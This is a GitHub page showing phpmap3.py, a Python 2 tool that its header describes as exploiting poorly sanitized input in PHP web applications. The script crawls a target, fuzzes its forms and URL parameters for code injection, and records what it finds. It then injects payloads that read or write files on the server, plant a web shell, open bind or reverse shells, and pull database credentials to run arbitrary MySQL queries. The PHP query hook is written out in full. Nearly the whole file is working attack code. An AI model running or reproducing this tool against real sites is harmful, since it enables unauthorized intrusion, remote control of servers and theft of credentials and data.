-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathphpmap3.py
394 lines (386 loc) · 25.7 KB
/
phpmap3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
#--
#
# Description:
# This tool is used to exploit poorly sanitized user input in PHP
# web applications.
#
# Author: Level @ CORE Security Technologies, CORE SDI Inc.
# Email: level@coresecurity.com
#
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#--
import sys,os,sqlite3,urllib
for loc, dir, fn in os.walk(os.getcwd()):
for d in dir:
if d is not []:
sys.path.append(os.path.join(os.getcwd()+os.path.sep+d))
def main():
from formfinder import FRMFind
from Options import Options
from vulndb import VulnDB
from fuzzer import Attack
from exploitbuilder import xbuilder
from crawler import Crawl
opt,arg = Options().init()
if (opt.clear_vuln_db == True):
VulnDB().clear_vulns()
if opt.url is not None:
#have we exploited this before?
if opt.forms == True:
try:
if opt.basicAuth is not None:
getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
elif opt.cookieValue is not None:
getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
else: getForm,postForm = FRMFind().search(opt.url,None,None)
except:
return
for form in getForm.keys():
vulnUrl = "%s//%s/%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1])
isVuln,vulnDeets = VulnDB().is_vuln('form',url=vulnUrl)
if isVuln is True:
print "URL has been exploited previously.. resuming attack"
vulnTarget = "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
function = xbuilder().find_func(vulnTarget)
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
return
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
return
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
return
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
return
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
return
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
if opt.crawl == True:
try:
if opt.basicAuth is not None:
queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,opt.basicAuth,None)
elif opt.cookieValue is not None:
queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,opt.basicAuth)
else: queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,None)
print "[*] found %s urls to crawl" % (len(queue))
except:
return
for url in queue:
try:
if opt.basicAuth is not None:
getForm,postForm = FRMFind().search(url,opt.basicAuth,None)
elif opt.cookieValue is not None:
getForm,postForm = FRMFind().search(url,None,opt.basicAuth)
else: getForm,postForm = FRMFind().search(url,None,None)
except:
return
for form in getForm.keys():
vulnUrl = "%s//%s/%s" % (url.split("/")[0],url.split("/")[2],form[:-1])
isVuln,vulnDeets = VulnDB().is_vuln('crawl',url=vulnUrl)
if isVuln is True:
print "URL has been exploited previously.. resuming attack"
vulnTarget = "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
function = xbuilder().find_func(vulnTarget)
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
return
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
return
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
return
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
return
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
return
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
else:
isVuln,vulnDeets = VulnDB().is_vuln('get',url=opt.url.split("?")[0])
if isVuln is True:
print "URL has been exploited previously.. resuming attack"
vulnTarget = "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
function = xbuilder().find_func(vulnTarget)
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
return
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
return
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
return
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
return
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
return
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
print "[*] host %s user %s pass %s" % (host,user,passw)
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
#find and exploit forms
if opt.forms == True:
try:
if opt.basicAuth is not None:
getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
elif opt.cookieValue is not None:
getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
else: getForm,postForm = FRMFind().search(opt.url,None,None)
print "[*] found %s GET inputs and %s POST inputs" % (len(getForm),len(postForm))
except:
return
for form in getForm.keys():
print "[*] name: %s params: %s" % (form, getForm[form])
a = raw_input("[*] Do you want to test this form? Y/N ")
if (a == "Y" or a == "y"):
vuln,vulnTarget = Attack().vuln_detect("%s//%s/%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1]),Attack().fuzz_gen(getForm[form]))
if (vuln == True):
print "[*] performing false positive reduction"
if (Attack().reduce_false(vulnTarget) == True):
a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
if (a == "Y" or a == "y"):
function = xbuilder().find_func(vulnTarget)
VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):],formName=form,method='get')
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
print "[*] host %s user %s pass %s" % (host,user,passw)
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
elif (a == "N" or a == "n"):
continue
else:
print "[*] invalid answer, skipping"
continue
elif (a == "N" or a == "n"):
continue
else:
print "[*] invalid answer, skipping"
continue
return
#crawl for forms to exploit
elif opt.crawl == True:
try:
if opt.basicAuth is not None:
queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,opt.basicAuth,None)
elif opt.cookieValue is not None:
queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,opt.basicAuth)
else: queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,None)
print "[*] found %s urls to crawl" % (len(queue))
except:
return
for url in queue:
if opt.basicAuth is not None:
getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
elif opt.cookieValue is not None:
getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
else: getForm,postForm = FRMFind().search(opt.url,None,None)
print "[*] found %s GET inputs and %s POST inputs" % (len(getForm),len(postForm))
for form in getForm.keys():
print "[*] name: %s params: %s" % (form, getForm[form])
a = raw_input("[*] Do you want to test this form? Y/N ")
if (a == "Y" or a == "y"):
vuln,vulnTarget = Attack().vuln_detect("%s//%s%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1]),Attack().fuzz_gen(getForm[form]))
if (vuln == True):
print "[*] performing false positive reduction"
if (Attack().reduce_false(vulnTarget) == True):
a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
if (a == "Y" or a == "y"):
from exploitbuilder import xbuilder
function = xbuilder().find_func(vulnTarget)
from vulndb import VulnDB
VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):],formName=form,method='get')
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
print "[*] host %s user %s pass %s" % (host,user,passw)
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result); mysql_close($link);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
elif (a == "N" or a == "n"):
continue
else:
print "[*] invalid answer, skipping"
continue
elif (a == "N" or a == "n"):
continue
else:
print "[*] invalid answer, skipping"
continue
return
else:
#exploit get variables
if "?" in opt.url:
url,params = opt.url.split("?")[0],opt.url.split("?")[1]
new = {}
for i in params.split("&"):
new[i.split("=")[0]] = i.split("=")[1]
vuln,vulnTarget = Attack().vuln_detect(url,Attack().fuzz_gen(new))
if (vuln == True):
print "[*] performing false positive reduction"
if (Attack().reduce_false(vulnTarget) == True):
a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
if (a == "Y" or a == "y"):
from exploitbuilder import xbuilder
function = xbuilder().find_func(vulnTarget)
if (function != 0):
VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):])
if (opt.fsRead != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
print xbuilder().inject(url,seed)[1]
if (opt.fsWrite != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
print xbuilder().inject(url,seed)[1]
if (opt.osShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
print xbuilder().inject(url,seed)[1]
if (opt.bindShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
xbuilder().inject(url,seed)
if (opt.reverShell != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
xbuilder().inject(url,seed)
''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''
if (opt.dbHook != None):
url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
string = xbuilder().inject(url,seed)[1]
if ("$" != string[1].replace("<?php ","")):
host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
if (passw == "''"):
hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData+'\n'; } } mysql_free_result($result); mysql_close($link);""" % (host,user,opt.dbHook)
else:
hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData+'\n'; } } mysql_free_result($result); mysql_close($link);""" % (host,user,passw.replace("'",""),opt.dbHook)
url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
print xbuilder().inject(url,seed)[1]
return
else:
print "[*] string not in correct format"
return
return
else:
#nothing to inject
print "[*] no injection points specified"
return
return
else:
print "[*] the URL was not provided"
return
if __name__=="__main__":
main()